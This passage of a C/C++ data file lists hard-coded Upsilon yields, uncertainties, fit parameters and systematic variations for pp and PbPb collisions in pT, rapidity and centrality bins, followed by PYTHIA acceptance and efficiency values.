Sigma1SFree_pp_rap4Large[nRapBins_2014] = {0.0631154,0.135731};\nfloat dM1S_pp_rap4Large[nRapBins_2014] = {-0.0107215,-0.0197704};\nfloat MassErr1S_pp_rap4Large[nRapBins_2014] = {0.00175129,0.00474189};\nfloat N1S_ppSignif_rap4Large[nRapBins_2014] = {41.2722,28.2001};\n/// systematics. in LARGE bins\nfloat N1S_pp_rap4Larges_1p2[nfitvars] = {2295.59,2369.09,2331.89,2377.68,2388.33,2365.31};\nfloat N1S_pp_rap4Larges_2p4[nfitvars] = {1213.29,1249.33,1199.55,1280.75,1281.26,1213.99};\nfloat N2S_pp_rap4Larges_1p2[nfitvars] = {769.055,804.49,785.79,810.184,809.883,803.095};\nfloat N2S_pp_rap4Larges_2p4[nfitvars] = {450.75,474.197,442.327,481.679,481.71,461.855};\nfloat N3S_pp_rap4Larges_1p2[nfitvars] = {397.339,425.207,408.55,427.253,422.246,421.938};\nfloat N3S_pp_rap4Larges_2p4[nfitvars] = {221.937,238.665,215.493,232.363,232.424,224.642};\nfloat N1B_pp_rap4Larges_1p2[nbkgdvars] = {2243.22,2243.13};\nfloat N1B_pp_rap4Larges_2p4[nbkgdvars] = {1185.71,1221.01};\nfloat N2B_pp_rap4Larges_1p2[nbkgdvars] = {733.512,728.42};\nfloat N2B_pp_rap4Larges_2p4[nbkgdvars] = {430.634,454.998};\nfloat N3B_pp_rap4Larges_1p2[nbkgdvars] = {377.964,371.546};\nfloat N3B_pp_rap4Larges_2p4[nbkgdvars] = {209.785,227.897};\n/* ------------------------------------------- */\n/* ------------------------------------------- */\n/* ------------------------------------------- */\n/* AA */\n/* ------------------------------------------- */\n/* ------------------------------------------- */\n/* ------------------------------------------- */\n/* 1S,2S,3S loose TOTAL YIELDS*/\n/* ------------------------------------------- */\nfloat N1S_aa_tot3p5 = 2534;\nfloat N1S_aa_tot3p5e = 76;\nfloat N2S_aa_tot3p5 = 158;\nfloat N2S_aa_tot3p5e = 52;\nfloat N3S_aa_tot3p5 = -32;\nfloat N3S_aa_tot3p5e = 48;\n/* 1s2s3s tight TOTAL YIELDS */\nfloat N1S_aa_tot4 = 1793;\nfloat N1S_aa_tot4e = 61;\nfloat N2S_aa_tot4 = 173;\nfloat N2S_aa_tot4e = 41;\nfloat N3S_aa_tot4 = 7;\nfloat N3S_aa_tot4e =38;\n///more\nfloat N2S_aa_tot4s=0.0712;\nfloat N1S_aa_tot3p5s=0.0470;\nfloat N1S_aa_tot4s=0.0281;\n\n/* ------------------------------------------- */\n/* pT */\n/* ------------------------------------------- */\n//yields\nfloat N1S_aa_pt3p5[nPtBins_2014] = {760.933,678.866,530.796,361.6,177.961,46.192};\n//float N1S_aa_pt3p5[nPtBins_2014] = {728,678.866,530.796,361.6,177.961,46.192};\nfloat N1S_aa_pt3p5e[nPtBins_2014] = {43.4236,41.5262,35.1437,26.8422,16.4929,7.67069};\nfloat N2S_aa_pt3p5[nPtBins_2014] = {38.5345,61.0967,19.4428,32.9812,21.0261,5.90805};\nfloat N2S_aa_pt3p5e[nPtBins_2014] = {27.8995,29.7666,24.5745,19.2152,9.39404,3.73998};\nfloat N3S_aa_pt3p5[nPtBins_2014] = {-24.894,-43.8698,-3.42538,41.9194,17.6632,4.64569};\nfloat N3S_aa_pt3p5e[nPtBins_2014] = {25.0188,26.6804,23.6922,19.1594,9.48789,3.51349};\n//misc.\nfloat Sigma1SFixed_aa_pt3p5[nPtBins_2014] = {0.0656364,0.0618933,0.0659009,0.0623484,0.0686772,0.0667923};\nfloat Sigma1SFree_aa_pt3p5[nPtBins_2014] = {0.0733402,0.0714295,0.0581046,0.0700393,0.0685762,0.0658703};\nfloat dM1S_aa_pt3p5[nPtBins_2014] = {-0.0134142,-0.00394025,-0.0155896,-0.0189322,-0.0114653,-0.00609381};\nfloat MassErr1S_aa_pt3p5[nPtBins_2014] = {0.00584566,0.00632672,0.00662793,0.00764481,0.00904496,0.0159101};\nfloat N1S_aaSignif_pt3p5[nPtBins_2014] = {17.5235,16.3479,14.8494,13.4713,10.7902,6.02189};\n//systematics.\nfloat N1S_aa_pt3p5s_2p5[nfitvars] = {760.933,876.441,794.776,806.189,837.578,796.411};\nfloat N1S_aa_pt3p5s_5[nfitvars] = {678.866,722.796,684.599,729.472,721.26,725.775};\nfloat N1S_aa_pt3p5s_8[nfitvars] = {530.796,576.185,563.111,493.397,570.754,504.789};\nfloat N1S_aa_pt3p5s_12[nfitvars] = {361.6,342.497,355.803,380.584,368.237,381.336};\nfloat N1S_aa_pt3p5s_20[nfitvars] = {177.961,179.252,176.682,177.875,179.029,178.8};\nfloat N1S_aa_pt3p5s_40[nfitvars] = {46.192,46.3489,45.9434,46.0589,45.2119,45.8102};\nfloat N1B_aa_pt3p5s_2p5[nbkgdvars] = {760.737,755.709};\nfloat N1B_aa_pt3p5s_5[nbkgdvars] = {678.898,693.515};\nfloat N1B_aa_pt3p5s_8[nbkgdvars] = {525.072,534.274};\nfloat N1B_aa_pt3p5s_12[nbkgdvars] = {362.858,362.077};\nfloat N1B_aa_pt3p5s_20[nbkgdvars] = {184.693,181.525};\nfloat N1B_aa_pt3p5s_40[nbkgdvars] = {18.5629,48.3119};\n// more.\nfloat N1S_aa_pt3p5Large[nPtBins_2010] = {1842,466,311}; // ,53\nfloat N1S_aa_pt3p5eLarge[nPtBins_2010] = {110,67,24}; //,8.9 // wowowowow 2nd bin was 107, tricked it :) for unimportant reasons.\n\n/* ------------------------------------------- */\n/* pT4 */\n/* ------------------------------------------- */\n//yields\nfloat N1S_aa_pt4[nPtBins_2014] = {433.283,384.967,346.047,300.326,159.695,45.065};\nfloat N1S_aa_pt4e[nPtBins_2014] = {33.7162,30.0662,27.4315,25.3158,15.3784,7.5391};\nfloat N2S_aa_pt4[nPtBins_2014] = {48.7338,29.3859,7.77242,29.4405,21.5532,5.27905};\nfloat N2S_aa_pt4e[nPtBins_2014] = {24.4006,20.9108,17.7383,17.6174,8.64076,3.49062};\nfloat N3S_aa_pt4[nPtBins_2014] = {-7.84042,-38.9282,12.6483,28.0485,13.6672,4.66497};\nfloat N3S_aa_pt4e[nPtBins_2014] = {21.2706,18.4735,17.6898,17.2649,8.30698,3.42729};\n//misc.\nfloat Sigma1SFixed_aa_pt4[nPtBins_2014] = {0.0669886,0.0647348,0.0644703,0.0691862,0.0669463,0.0670985};\nfloat Sigma1SFree_aa_pt4[nPtBins_2014] = {0.056516,0.0751985,0.0581788,0.0783052,0.0682196,0.06802};\nfloat dM1S_aa_pt4[nPtBins_2014] = {-0.00709436,-0.00471441,-0.0131285,-0.0139764,-0.00944243,-0.00612074};\nfloat MassErr1S_aa_pt4[nPtBins_2014] = {0.0068624,0.00804628,0.0076398,0.00912405,0.00910543,0.0166445};\nfloat N1S_aaSignif_pt4[nPtBins_2014] = {12.8509,12.804,12.6149,11.8632,10.3844,5.97751};\n//systematics\nfloat N1S_aa_pt4s_2p5[nfitvars] = {433.283,414.404,423.064,397.864,381.754,376.1};\nfloat N1S_aa_pt4s_5[nfitvars] = {384.967,380.278,377.777,413.72,389.548,416.801};\nfloat N1S_aa_pt4s_8[nfitvars] = {346.047,384.377,368.683,330.862,372.875,335.985};\nfloat N1S_aa_pt4s_12[nfitvars] = {300.326,297.676,300.929,318.959,306.348,319.321};\nfloat N1S_aa_pt4s_20[nfitvars] = {159.695,164.284,162.328,160.665,161.643,161.326};\nfloat N1S_aa_pt4s_40[nfitvars] = {45.065,45.5177,45.0431,45.1683,44.348,45.1709};\nfloat N1B_aa_pt4s_2p5[nbkgdvars] = {425.519,418.276};\nfloat N1B_aa_pt4s_5[nbkgdvars] = {384.957,404.756};\nfloat N1B_aa_pt4s_8[nbkgdvars] = {346.134,340.555};\nfloat N1B_aa_pt4s_12[nbkgdvars] = {301.573,302.477};\nfloat N1B_aa_pt4s_20[nbkgdvars] = {163.28,162.274};\nfloat N1B_aa_pt4s_40[nbkgdvars] = {45.0806,45.0653};\n//yields in LARGE bins\nfloat N1S_aa_pt4Large[nPtBins_2014] = {846.135,645.789,159.695};\nfloat N1S_aa_pt4Largee[nPtBins_2014] = {44.1422,37.618,15.3784};\nfloat N2S_aa_pt4_2013Large[nPtBins_2014] = {54.2752,36.4798,21.5532};\nfloat N2S_aa_pt4_2013Largee[nPtBins_2014] = {30.9272,25.3085,8.64076};\nfloat N3S_aa_pt4Large[nPtBins_2014] = {-78.4035,40.7143,13.6672};\nfloat N3S_aa_pt4Largee[nPtBins_2014] = {27.6608,25.0584,8.30698};\n///misc. in LARGE bins\nfloat Sigma1SFixed_aa_pt4Large[nPtBins_2014] = {0.0667507,0.0681378,0.0669463};\nfloat Sigma1SFree_aa_pt4Large[nPtBins_2014] = {0.0707061,0.0692729,0.0682196};\nfloat dM1S_aa_pt4Large[nPtBins_2014] = {-0.0086259,-0.0133301,-0.00944243};\nfloat MassErr1S_aa_pt4Large[nPtBins_2014] = {0.0051213,0.0058627,0.00910543};\nfloat N1S_aaSignif_pt4Large[nPtBins_2014] = {19.1684,17.167,10.3844};\n//systematics in LARGE bins\n\nfloat N1S_aa_pt4Larges_5[nfitvars] = {846.135,872.958,955.15,869.414,849.177,868.041};\nfloat N1S_aa_pt4Larges_12[nfitvars] = {645.789,668.411,689.387,650.751,670.729,655.77};\nfloat N1S_aa_pt4Larges_20[nfitvars] = {159.695,164.284,162.328,160.665,161.643,161.326};\nfloat N2S_aa_pt4Larges_5[nfitvars] = {54.2752,61.1702,73.1438,59.1765,54.753,58.9672};\nfloat N2S_aa_pt4Larges_12[nfitvars] = {36.4798,40.0178,42.106,37.3944,39.0083,38.2637};\nfloat N2S_aa_pt4Larges_20[nfitvars] = {21.5532,21.8526,21.8926,21.5896,21.6613,21.6157};\nfloat N3S_aa_pt4Larges_5[nfitvars] = {-78.4035,-77.9421,-82.581,-79.204,-78.5031,-77.9699};\nfloat N3S_aa_pt4Larges_12[nfitvars] = {40.7143,45.4306,46.0164,41.6891,44.8673,42.6112};\nfloat N3S_aa_pt4Larges_20[nfitvars] = {13.6672,14.3737,14.0585,13.8429,13.8907,13.9273};\n\nfloat N1B_aa_pt4Larges_5[nbkgdvars] = {827.386,845.978};\nfloat N1B_aa_pt4Larges_12[nbkgdvars] = {648.484,644.828};\nfloat N1B_aa_pt4Larges_20[nbkgdvars] = {163.28,162.274};\nfloat N2B_aa_pt4Larges_5[nbkgdvars] = {47.9794,54.19};\nfloat N2B_aa_pt4Larges_12[nbkgdvars] = {36.9826,39.1056};\nfloat N2B_aa_pt4Larges_20[nbkgdvars] = {24.113,23.6487};\nfloat N3B_aa_pt4Larges_5[nbkgdvars] = {-78.2856,-78.5648};\nfloat N3B_aa_pt4Larges_12[nbkgdvars] = {42.4352,44.4381};\nfloat N3B_aa_pt4Larges_20[nbkgdvars] = {16.4182,16.0991};\n/* ------------------------------------------- */\n/* rap */\n/* ------------------------------------------- */\n//yields\nfloat N1S_aa_rap3p5_2014[nRapBins_2014] = {501.933,505.446,559.22,533.105,364.85,113.75};\nfloat N1S_aa_rap3p5_2014e[nRapBins_2014] = {31.9277,34.4893,38.0134,39.2303,29.0945,17.2147};\nfloat N2S_aa_rap3p5[nRapBins_2014] = {25.7154,47.789,25.3167,-1.02024,33.9907,4.00955};\nfloat N2S_aa_rap3p5e[nRapBins_2014] = {21.3964,24.589,27.1056,28.3258,19.3551,11.1802};\nfloat N3S_aa_rap3p5_2014[nRapBins_2014] = {-2.4566,6.87048e-05,-1.04105,-3.33196,-39.127,-12.2435};\nfloat N3S_aa_rap3p5_2014e[nRapBins_2014] = {20.2548,2.72889,25.5479,27.2737,16.0976,9.24833};\n//misc.\nfloat Sigma1SFixed_aa_rap3p5[nRapBins_2014] = {0.0527233,0.0599054,0.0773693,0.104566,0.125792,0.133793};\nfloat Sigma1SFree_aa_rap3p5[nRapBins_2014] = {0.0535277,0.0606161,0.079676,0.116666,0.129474,0.169339};\nfloat dM1S_aa_rap3p5[nRapBins_2014] = {-0.000811592,-0.0164258,-0.0112044,-0.0327148,-0.0298901,-0.0033971};\nfloat MassErr1S_aa_rap3p5[nRapBins_2014] = {0.00447293,0.00592714,0.00752893,0.0100597,0.0123124,0.0287447};\nfloat N1S_aaSignif_rap3p5[nRapBins_2014] = {15.7209,14.6369,14.7111,13.5891,11.8003,6.60771};\n//systematics\nfloat N1S_aa_rap3p5s_0p4[nfitvars] = {501.933,557.704,523.917,505.072,500.089,506.965};\nfloat N1S_aa_rap3p5s_0p8[nfitvars] = {505.446,469.686,530.623,508.514,581.509,509.544};\nfloat N1S_aa_rap3p5s_1p2[nfitvars] = {559.22,588.658,584.116,567.594,606.676,563.445};\nfloat N1S_aa_rap3p5s_1p6[nfitvars] = {533.105,506.185,509.8,565.431,528.332,579.452};\nfloat N1S_aa_rap3p5s_2p0[nfitvars] = {364.85,414.25,395.939,365.404,367.594,373.51};\nfloat N1S_aa_rap3p5s_2p4[nfitvars] = {113.75,127.982,128.931,130.198,126.061,128.281};\nfloat N1B_aa_rap3p5s_0p4[nfitvars] = {501.877,497.065};\nfloat N1B_aa_rap3p5s_0p8[nfitvars] = {496.218,504.323};\nfloat N1B_aa_rap3p5s_1p2[nfitvars] = {590.888,569.043};\nfloat N1B_aa_rap3p5s_1p6[nfitvars] = {557.894,493.28};\nfloat N1B_aa_rap3p5s_2p0[nfitvars] = {347.845,354.127};\nfloat N1B_aa_rap3p5s_2p4[nfitvars] = {109.87,115.382};\n/* ------------------------------------------- */\n/* rap4 */\n/* ------------------------------------------- */\n//yields\nfloat N1S_aa_rap4_2014[nRapBins_2014] = {315.4,355.349,415.457,390.112,260.004,82.5953};\nfloat N1S_aa_rap4_2014e[nRapBins_2014] = {24.4578,26.1104,28.5403,29.2065,23.5313,14.2299};\nfloat N2S_aa_rap4_2014[nRapBins_2014] = {15.4477,46.3563,42.8718,20.0568,48.7863,13.513};\nfloat N2S_aa_rap4_2014e[nRapBins_2014] = {15.6473,17.6678,19.3013,19.2523,16.6316,10.2389};\nfloat N3S_aa_rap4_2014[nRapBins_2014] = {3.20679,-1.17089,8.70614,13.5345,-13.8146,-17.4124};\nfloat N3S_aa_rap4_2014e[nRapBins_2014] = {15.0704,16.2453,17.7942,18.7001,14.2255,7.57694};\n//misc.\nfloat Sigma1SFixed_aa_rap4[nRapBins_2014] = {0.045297,0.0614344,0.0719728,0.10143,0.126482,0.138467};\nfloat Sigma1SFree_aa_rap4[nRapBins_2014] = {0.048086,0.0615164,0.071554,0.123385,0.144575,0.221781};\nfloat dM1S_aa_rap4[nRapBins_2014] = {-0.00491885,-0.0147612,-0.008586,-0.0208951,-0.0259933,-0.001434};\nfloat MassErr1S_aa_rap4[nRapBins_2014] = {0.0054081,0.00604569,0.00714609,0.0101958,0.0135545,0.0329942};\nfloat N1S_aaSignif_rap4[nRapBins_2014] = {12.8957,13.6095,14.5569,13.357,11.0493,5.80433};\n//systematics.\nfloat N1S_aa_rap4s_0p4[nfitvars] = {315.4,318.086,308.796,322.98,327.084,320.5};\nfloat N1S_aa_rap4s_0p8[nfitvars] = {355.349,389.565,393.977,355.544,357.455,356.292};\nfloat N1S_aa_rap4s_1p2[nfitvars] = {415.457,418.177,414.525,414.529,425.312,413.503};\nfloat N1S_aa_rap4s_1p6[nfitvars] = {390.112,466.382,409.873,433.094,402.555,438.621};\nfloat N1S_aa_rap4s_2p0[nfitvars] = {260.004,304.554,327.95,279.866,260.003,259.917};\nfloat N1S_aa_rap4s_2p4[nfitvars] = {82.5953,130.803,97.9972,111.163,88.6033,103.25};\nfloat N1B_aa_rap4s_0p4[nbkgdvars] = {352.981,307.475};\nfloat N1B_aa_rap4s_0p8[nbkgdvars] = {355.261,376.219};\nfloat N1B_aa_rap4s_1p2[nbkgdvars] = {466.599,422.476};\nfloat N1B_aa_rap4s_1p6[nbkgdvars] = {379.41,428.79};\nfloat N1B_aa_rap4s_2p0[nbkgdvars] = {228.164,211.173};\nfloat N1B_aa_rap4s_2p4[nbkgdvars] = {76.7772,95.3631};\n\n//yields in LARGE bins\nfloat N1S_aa_rap4_2014Large[nRapBins_2014] = {1089.75,729.382};\nfloat N1S_aa_rap4_2014Largee[nRapBins_2014] = {46.3686,39.8931};\nfloat N2S_aa_rap4_2014Large[nRapBins_2014] = {104.241,76.9046};\nfloat N2S_aa_rap4_2014Largee[nRapBins_2014] = {30.7392,27.3069};\nfloat N3S_aa_rap4_2014Large[nRapBins_2014] = {11.312,-11.1267};\nfloat N3S_aa_rap4_2014Largee[nRapBins_2014] = {28.6748,25.0645};\n//misc. in large bins.\nfloat Sigma1SFixed_aa_rap4Large[nRapBins_2014] = {0.0552385,0.118975};\nfloat Sigma1SFree_aa_rap4Large[nRapBins_2014] = {0.0569407,0.139554};\nfloat dM1S_aa_rap4Large[nRapBins_2014] = {-0.01003,-0.023409};\nfloat MassErr1S_aa_rap4Large[nRapBins_2014] = {0.00354532,0.00804737};\nfloat N1S_aaSignif_rap4Large[nRapBins_2014] = {23.5018,18.2834};\n//systematics in LARGE bins\nfloat N1S_aa_rap4Larges_1p2[nfitvars] = {1089.75,1152.79,1186.84,1103.54,1122.33,1100.02};\nfloat N1S_aa_rap4Larges_2p4[nfitvars] = {729.382,889.347,768.479,794.173,733.6,729.372};\nfloat N2S_aa_rap4Larges_1p2[nfitvars] = {104.241,118.227,121.971,107.585,112.466,106.724};\nfloat N2S_aa_rap4Larges_2p4[nfitvars] = {76.9046,128.006,87.3887,89.7671,77.0601,76.9121};\nfloat N3S_aa_rap4Larges_1p2[nfitvars] = {11.312,18.1969,18.6623,12.9559,16.3165,12.6207};\nfloat N3S_aa_rap4Larges_2p4[nfitvars] = {-11.1267,14.8977,-7.15973,-4.10369,-10.8712,-11.2122};\nfloat N1B_aa_rap4Larges_1p2[nbkgdvars] = {1090.46,1055.59};\nfloat N1B_aa_rap4Larges_2p4[nbkgdvars] = {713.159,676.353};\nfloat N2B_aa_rap4Larges_1p2[nbkgdvars] = {97.4046,75.5631};\nfloat N2B_aa_rap4Larges_2p4[nbkgdvars] = {70.6606,44.6696};\nfloat N3B_aa_rap4Larges_1p2[nbkgdvars] = {4.6086,-11.0344};\nfloat N3B_aa_rap4Larges_2p4[nbkgdvars] = {-12.7046,-27.942};\n\n/* ------------------------------------------- */\n/* cent */\n/* ------------------------------------------- */\n//yields\nfloat N1S_aa_cent3p5[nCentBins_2014] = {48.87,164.79,169.581,282.606,424.526,637.248,409.62,406.692}; //406.692 // 439\nfloat N1S_aa_cent3p5e[nCentBins_2014] = {8.78835,16.7766,18.335,24.5124,31.438,40.1154,33.2798,36.1903};\nfloat N2S_aa_cent3p5[nCentBins_2014] = {3.63483,11.9237,24.6331,33.7225,-9.60813,22.7562,9.77396,60.1736};\nfloat N2S_aa_cent3p5e[nCentBins_2014] = {5.12946,9.98449,12.0474,16.2646,20.4581,27.5692,22.6811,27.4915};\nfloat N3S_aa_cent3p5[nCentBins_2014] = {0.467209,-8.21439,23.4819,-7.91134,-14.8149,-45.7341,9.25746,9.54258};\nfloat N3S_aa_cent3p5e[nCentBins_2014] = {4.48587,8.10209,11.7908,14.4,19.7355,25.1138,21.7463,25.2985};\n//misc.\nfloat Sigma1SFixed_aa_cent3p5[nCentBins_2014] = {0.0627095,0.0627095,0.0627095,0.0627095,0.0627095,0.0627095,0.0627095,0.0627095};\nfloat Sigma1SFree_aa_cent3p5[nCentBins_2014] = {0.0416768,0.0708734,0.0739884,0.0739101,0.0615255,0.0668554,0.0700363,0.0638495};\nfloat dM1S_aa_cent3p5[nCentBins_2014] = {0.000913915,-0.0203463,-0.0127969,-0.0247916,-0.0125163,-0.00588438,-0.0247968,-0.00628748};\nfloat MassErr1S_aa_cent3p5[nCentBins_2014] = {0.0166454,0.0107545,0.0110112,0.00889553,0.00745974,0.00620451,0.00837207,0.00886604};\nfloat N1S_aaSignif_cent3p5[nCentBins_2014] = {5.56077,9.8226,9.24903,11.5291,13.5036,15.8854,12.3084,11.2376};\n//systematics\nfloat N1S_aa_cents_5[nfitvars] = {406.692,508.64,488.531,410.473,413.124,411.917};\nfloat N1S_aa_cents_10[nfitvars] = {409.62,487.614,476.497,432.839,419.594,432.098};\nfloat N1S_aa_cents_20[nfitvars] = {637.248,670.063,762.869,657.761,699.936,647.846};\nfloat N1S_aa_cents_30[nfitvars] = {424.526,420.107,418.868,420.736,420.12,421.746};\nfloat N1S_aa_cents_40[nfitvars] = {282.606,317.154,337.779,305.732,303.567,303.977};\nfloat N1S_aa_cents_50[nfitvars] = {169.581,210.614,204.257,183.736,184.357,181.254};\nfloat N1S_aa_cents_70[nfitvars] = {164.79,166.874,159.122,173.014,166.994,173.816};\nfloat N1S_aa_cents_100[nfitvars] = {48.87,44.8103,58.0023,42.0601,42.9389,42.9267};\nfloat N1B_aa_cents_5[nbkgdvars] = {406.074,405.844};\nfloat N1B_aa_cents_10[nbkgdvars] = {417.388,400.412};\nfloat N1B_aa_cents_20[nbkgdvars] = {635.134,639.905};\nfloat N1B_aa_cents_30[nbkgdvars] = {424.679,460.487};\nfloat N1B_aa_cents_40[nbkgdvars] = {280.429,279.573};\nfloat N1B_aa_cents_50[nbkgdvars] = {162.288,173.644};\nfloat N1B_aa_cents_70[nbkgdvars] = {162.067,171.241};\nfloat N1B_aa_cents_100[nbkgdvars] = {57.0847,48.8709};\n/* ------------------------------------------- */\n/* cent4 */\n/* ------------------------------------------- */\n//yields\nfloat N1S_aa_cent4[nCentBins_2014] = {33.2888,112.052,93.5296,213.995,316.259,448.461,282.16,301.154};\nfloat N1S_aa_cent4e[nCentBins_2014] = {7.84892,13.3818,13.4246,19.3737,24.5797,30.7238,25.1464,27.5512};\nfloat N2S_aa_cent4[nCentBins_2014] = {3.64245,11.4297,22.9896,37.6962,28.1178,25.558,7.18424,35.3889};\nfloat N2S_aa_cent4e[nCentBins_2014] = {5.12202,7.96805,9.9309,12.7613,15.8288,20.4766,16.1108,19.9771};\nfloat N3S_aa_cent4[nCentBins_2014] = {-3.78399,1.56689,30.5372,-3.00961,7.39577,-21.1506,-11.8085,6.07284};\nfloat N3S_aa_cent4e[nCentBins_2014] = {3.782,6.68384,10.5372,10.5259,14.8632,18.3509,15.2818,18.923};\n//misc.\nfloat Sigma1SFixed_aa_cent4[nCentBins_2014] = {0.0623872,0.0623872,0.0623872,0.0623872,0.0623872,0.0623872,0.0623872,0.0623872};\nfloat Sigma1SFree_aa_cent4[nCentBins_2014] = {0.0740696,0.0663977,0.0732918,0.0779497,0.0713302,0.071721,0.0717966,0.0657269};\nfloat dM1S_aa_cent4[nCentBins_2014] = {-0.0114651,-0.0101231,-0.0177223,-0.0156515,-0.0107832,-0.00142174,-0.0233709,-0.00635702};\nfloat MassErr1S_aa_cent4[nCentBins_2014] = {0.0236682,0.0120659,0.0133182,0.00912898,0.00820536,0.0067153,0.00924875,0.00900262};\nfloat N1S_aaSignif_cent4[nCentBins_2014] = {4.24119,8.37349,6.967,11.0457,12.8667,14.5966,11.2207,10.9307};\n//systematics.\nfloat N1S_aa_cent4s_5[nfitvars] = {301.154,387.26,364.763,309.165,329.552,306.358};\nfloat N1S_aa_cent4s_10[nfitvars] = {282.16,321.074,294.176,298.301,288.027,298.261};\nfloat N1S_aa_cent4s_20[nfitvars] = {448.461,522.784,537.108,479.676,491.314,462.504};\nfloat N1S_aa_cent4s_30[nfitvars] = {316.259,378.944,364.731,335.675,324.373,332.393};\nfloat N1S_aa_cent4s_40[nfitvars] = {213.995,232.581,236.588,235.664,230.973,230.899};\nfloat N1S_aa_cent4s_50[nfitvars] = {93.5296,109.975,101.521,101.336,102.967,96.3729};\nfloat N1S_aa_cent4s_70[nfitvars] = {112.052,117.206,111.947,114.684,114.099,115.052};\nfloat N1S_aa_cent4s_100[nfitvars] = {33.2888,35.4785,40.2084,36.1328,32.1786,38.5779};\nfloat N1B_aa_cent4s_5[nfitvars] = {289.327,283.477};\nfloat N1B_aa_cent4s_10[nfitvars] = {278.802,278.048};\nfloat N1B_aa_cent4s_20[nfitvars] = {422.644,415.772};\nfloat N1B_aa_cent4s_30[nfitvars] = {315.275,301.474};\nfloat N1B_aa_cent4s_40[nfitvars] = {225.704,218.397};\nfloat N1B_aa_cent4s_50[nfitvars] = {88.3544,86.3598};\nfloat N1B_aa_cent4s_70[nfitvars] = {112.066,112.101};\nfloat N1B_aa_cent4s_100[nfitvars] = {32.5484,37.8724};\n//yields in LARGE bins\nfloat N1S_aa_cent4Large[nCentBins_2014] = {147.828,309.251,761.396,579.417};\nfloat N1S_aa_cent4Largee[nCentBins_2014] = {15.4987,23.8851,39.3732,37.2924};\nfloat N2S_aa_cent4Large[nCentBins_2014] = {14.4119,59.8303,54.8011,43.7287};\nfloat N2S_aa_cent4Largee[nCentBins_2014] = {9.51969,16.1589,25.9163,25.6763};\nfloat N3S_aa_cent4Large[nCentBins_2014] = {-3.96433,25.214,-11.7562,-2.86086};\nfloat N3S_aa_cent4Largee[nCentBins_2014] = {7.70754,14.8221,23.7306,24.4938};\n//misc.\nfloat Sigma1SFixed_aa_cent4Large[nCentBins_2014] = {0.0623872,0.0623872,0.0623872,0.0623872};\nfloat Sigma1SFree_aa_cent4Large[nCentBins_2014] = {0.0687727,0.0772424,0.0713647,0.0695623};\nfloat dM1S_aa_cent4Large[nCentBins_2014] = {-0.010173,-0.01943,-0.00459972,-0.0137324};\nfloat MassErr1S_aa_cent4Large[nCentBins_2014] = {0.0104926,0.00755168,0.00521728,0.0065958};\nfloat N1S_aaSignif_cent4Large[nCentBins_2014] = {9.5381,12.9475,19.3379,15.5371};\n//systematics.\nfloat N1S_aa_cent4Larges_10[nfitvars] = {579.417,751.249,698.138,611.056,624.446,605.937};\nfloat N1S_aa_cent4Larges_30[nfitvars] = {761.396,827.798,912.261,811.088,829.17,792.113};\nfloat N1S_aa_cent4Larges_50[nfitvars] = {309.251,349.508,370.74,343.593,340.331,334.361};\nfloat N1S_aa_cent4Larges_100[nfitvars] = {147.828,168.931,175.348,151.76,150.98,152.816};\nfloat N2S_aa_cent4Larges_10[nfitvars] = {43.7287,79.4405,64.1804,46.5991,48.816,46.1545};\nfloat N2S_aa_cent4Larges_30[nfitvars] = {54.8011,73.83,85.1074,69.5413,68.2131,64.3907};\nfloat N2S_aa_cent4Larges_50[nfitvars] = {59.8303,72.9272,80.3426,71.3829,68.4123,69.1213};\nfloat N2S_aa_cent4Larges_100[nfitvars] = {14.4119,22.2242,20.7699,17.1622,16.0551,17.135};\nfloat N1B_aa_cent4Larges_10[nbkgdvars] = {565.119,566.534};\nfloat N1B_aa_cent4Larges_30[nbkgdvars] = {701.206,742.546};\nfloat N1B_aa_cent4Larges_50[nbkgdvars] = {288.814,319.804};\nfloat N1B_aa_cent4Larges_100[nfitvars] = {139.219,144.616};\nfloat N2B_aa_cent4Larges_10[nbkgdvars] = {49.1681,51.155};\nfloat N2B_aa_cent4Larges_30[nbkgdvars] = {15.9666,30.576};\nfloat N2B_aa_cent4Larges_50[nbkgdvars] = {42.9183,67.2421};\nfloat N2B_aa_cent4Larges_100[nfitvars] = {11.267,10.3624};\n/* ------------------------------------------- */\n/* ------------------------------------------- */\n/* ------------------------------------------- */\n/* PYTHIA */\n/* ------------------------------------------- */\n/* ------------------------------------------- */\n/* ------------------------------------------- */\n/* 1S loose TOTAL E,A,T */\n/* ------------------------------------------- */\n//Acc*eff\nfloat Ae_1S_pythia_tot= 0.239;//new\nfloat Ae_1S_pythia_tote=0.001;///stat. err.\nfloat Ae_1S_pythia_tots=0.007;///syst.: shape vars\n//eff\nfloat e_1S_pythia_tot= 0.679;//new\nfloat e_1S_pythia_tote=0.001;///stat. unc\nfloat e_1S_pythia_tots=0.007;///stat. unc\n//sf from tag and probe = eff_corr/eff_noCorr\nfloat t_1S_pythia_tot3p5 = 1.096;\nfloat t_1S_pythia_tot3p5e = 0.011;//muID\nfloat t_1S_pythia_tot3p5_STAe = 0.037;//STA\nfloat t_1S_pythia_tot3p5_fulle = 0.009;//full\n//total\nfloat Aet_1S_pythia_tot=0.262;//\nfloat Aet_1S_pythia_totgse=0.001;// \nfloat Aet_1S_pythia_tote =0.00928; //OK for new results. (tnp+genshape)\nfloat Aet_1S_pythia_tots =0.00922; //OK for new results. (tnp)\n/* ------------------------------------------- */\n/* 1S pT */\n/* ------------------------------------------- */\n//eff., Acc., Acc*eff,\nfloat e_1S_pythia_pt3p5[nPtBins2015]={0.659,0.648,0.686,0.716,0.757,0.77}; //last bin fake\nfloat e_1S_pythia_pt3p5e[nPtBins2015]={0.002,0.002,0.003,0.004,0.005,0.008};//last bin fake\nfloat A_1S_pythia_pt3p5[nPtBins2015]={0.456,0.298,0.277,0.374,0.513,0.62};\nfloat A_1S_pythia_pt3p5e[nPtBins2015]={0.0002,0.0001,0.0001,0.002,0.005,0.01};\nfloat Ae_1S_pythia_pt[nPtBins2015] = {0.301,0.193,0.190,0.267,0.388,0.5};//wrong\nfloat Ae_1S_pythia_pte[nPtBins2015] = {0.001,0.001,0.001,0.002,0.004,0.008};//fake\n//tnp. + uncertainty\nfloat t_1S_pythia_pt3p5[nPtBins2015]= {1.125, 1.112, 1.087, 1.06287, 1.040, 1.02923};\nfloat t_1S_pythia_pt3p5e[nPtBins2015]={0.01,0.01,0.009,0.009,0.009,0.00698397};\n//A*e*t OLD\nfloat Aet_1S_pythia_pt[nPtBins_2014]={0.339,0.215,0.207,0.284,0.404,0.41};\nfloat Aet_1S_pythia_pte[nPtBins_2014]={0.001,0.001,0.001,0.002,0.004,0.007};\nfloat Aet_1S_pythia_pts[nPtBins_2014]={0.008,0.004,0.006,0.008,0.011,0.012};\n//tnp. + uncertainty (muID+trg)\nfloat t_1S_pythia_pt3p5_muIDTrig[nPtBins_2014]= 